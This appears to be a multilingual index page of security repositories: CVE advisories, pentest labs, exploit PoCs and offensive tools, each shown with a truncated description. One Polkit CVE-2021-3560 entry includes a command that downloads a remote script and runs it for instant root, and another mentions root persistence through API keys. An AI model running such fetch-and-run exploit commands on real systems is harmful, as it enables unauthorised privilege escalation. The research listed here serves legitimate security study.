windows-smb-vulnerability-framework-cve-2025-33073

Framework di Ricerca sulle Vulnerabilità del Client SMB di Windows Autore: cyberseallll Creato: 2025 Panoramica Ho sviluppato questo framework di ricerca per analizzare e comprendere CVE-2025-33073, una vulnerabilità critica di Elevazione dei Privilegi nel Client SMB di Windows. Questa...

pentest-metasploitable2

Laboratoire de Test d'Intrusion : Kali Linux vs Metasploitable2 Avertissement : Ce laboratoire a été mené entièrement au sein d'un réseau virtuel isolé entre deux machines virtuelles hébergées localement. Aucun système externe, réseau actif ou infrastructure réelle n'a été ciblé à aucun moment...

CVE-2026-36374

Descrizione È stato identificato un endpoint pubblico che consente la ricerca di certificati utilizzando un identificatore prevedibile codice del certificato, senza alcun meccanismo di autenticazione o autorizzazione. Enumerando questo identificatore, un attaccante può accedere a dati personali d...

Centry

Centry चेतावनी: यह प्रायोगिक सॉफ्टवेयर है। इसमें बग होने की संभावना है। अपडेट्स यदि आपने पहले ही Centry स्थापित कर लिया है, तो नवीनतम संस्करण में अपडेट करने के लिए कृपया git pull चलाएँ। नवीनतम अपडेट इसे रीप्ले हमलों replay attacks के विरुद्ध अधिक सुरक्षित बनाते हैं। परिचय Centry एक पैनिक बटन है...

inception

Note: This tool is no longer under active development, please look at PCILeech instead. INCEPTION Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces...

CVE-2025-60736

CVE-2025-60736: Vulnerabilità di SQL Injection nella Guida Medica Online Riepilogo Esecutivo Questo documento descrive una vulnerabilità critica di SQL injection scoperta nell'applicazione web Guida Medica Online. La vulnerabilità consente un accesso non autorizzato al database e comporta rischi...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure

D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices are vulnerable to password disclosures vulnerabilities because the /config/getuser endpoint allows for remote administrator password disclosure. id: CVE-2020-25078 info: name: D-Link DCS-2530L/DCS-2670L - Administrator...

Eclipse Jetty - Information Disclosure

Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive informatio...

CVE-2021-3560

CVE-2021-3560 Exploit Root Istantaneo di Polkit Puoi ottenere i permessi di root con un solo comando su sistemi vulnerabili a Polkit CVE-2021-3560 digitando: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Oppure puoi scaricare il file .sh o copiarlo e...

CVE-2026-41940

Basato sul POC di Watch Tower, Supporta l'accesso diretto alla shell tramite websocket e l'aggiunta di chiavi API di root per la persistenza...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnérabilité d'élévation de privilèges sur les routeurs MitraStar Appareil : Mitrastar GPT-2541GNAC-N1 Micrologiciel : BRg3.5100VNZ0b33 non testé sur les autres versions Exploit : Les appareils Mitrastar GPT-2541GNAC-N1 sont...

CVE-2025-40554

Suíte de Exploração CVE-2025-40554 Uma ferramenta abrangente de teste de segurança para detectar e explorar a vulnerabilidade de bypass de autenticação CVE-2025-40554 / CVE-2025-40536 no SolarWinds Web Help Desk. ⚠️ Aviso Legal APENAS PARA FINS EDUCACIONAIS E DE TESTES DE SEGURANÇA AUTORIZADOS Est...

CVE-2026-23552

CVE-2026-23552 - Akzeptanz realmübergreifender Token in camel-keycloak Überblick Die KeycloakSecurityPolicy von Apache Camel validiert den iss-Anspruch Issuer von JWT-Tokens nicht gegen die konfigurierte Realm. Das bedeutet, dass ein Token, das von einer Keycloak-Realm ausgestellt wurde,...

CVE-2024-33299

CVE-2024-33299 Vulnerabilidade de Cross Site Scripting Armazenado no Microweber = 2.0.9 Resumo : Uma vulnerabilidade de Cross Site Scripting Armazenado no Microweber v.2.0.9 permite que um atacante remoto execute código arbitrário por meio dos parâmetros Nome e Sobrenome no endpoint...

CVE-2024-33298

CVE-2024-33298 Vulnerabilidade de Cross Site Scripting Armazenado no Microweber = 2.0.9 Resumo : Uma vulnerabilidade de Cross Site Scripting Armazenado no Microweber v.2.0.9 permite que um atacante remoto execute código arbitrário por meio da função de criar novo backup no endpoint...

dlink_shell_poc

dlinkshellpoc Dlink-Shell-PoC Getestet auf D-Link 815 Version A 1.3 Funktioniert mit: DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 Hinweis: Der PoC-Code verarbeitet keine Captchas. Beispiel root@kitploit: root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc....

TestRail-files.md5-IAC-scanner

TestRail-files.md5-IAC-scanner Il controllo degli accessi improprio in Gurock TestRail versioni Inserire il server nel formato http:\ o https:\ Lo script stamperà la posizione del server/file, il codice di stato se non 500 e qualsiasi parola chiave interessante trovata...

server

Ulterius: Einfache Fernverwaltung Interesse an einer Unterlizenzierung? Möchten Sie unseren Code in Ihrem Stack verwenden oder ihn für den internen Gebrauch umbenennen? Kontaktieren Sie uns unter [email protected] Ulterius ist ein Tool, das uneingeschränkten Zugriff auf ein Windows-System üb...

nCentralDumpsterDiver

SolarWinds n-Central Dumpster Diver Beschreibung / Erklärung Für weitere Informationen wurden Korrekturen/Workarounds veröffentlicht: https://vulners.com/cve/CVE-2020-7984 Diese Anwendung nutzt die nCentral-Agent-.NET-Bibliotheken, um die Agentenregistrierung zu simulieren und die...